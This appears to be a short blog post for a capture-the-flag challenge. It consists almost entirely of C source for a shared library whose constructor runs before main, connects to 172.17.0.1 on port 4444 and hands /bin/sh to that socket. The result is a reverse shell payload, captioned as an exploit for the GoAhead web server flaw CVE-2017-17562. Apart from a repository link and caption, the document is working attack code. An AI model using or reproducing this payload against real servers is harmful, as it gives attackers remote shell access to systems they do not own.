#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "172.17.0.1"
#define REMOTE_PORT 4444
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
write(1, "Hello: World!\n", 14);
}
https://github.com/ambulong/dbapp_ctf_201801/tree/master/GOGOGO
Goahead 利用 CVE-2017-17562
最新推荐文章于 2022-10-31 10:01:12 发布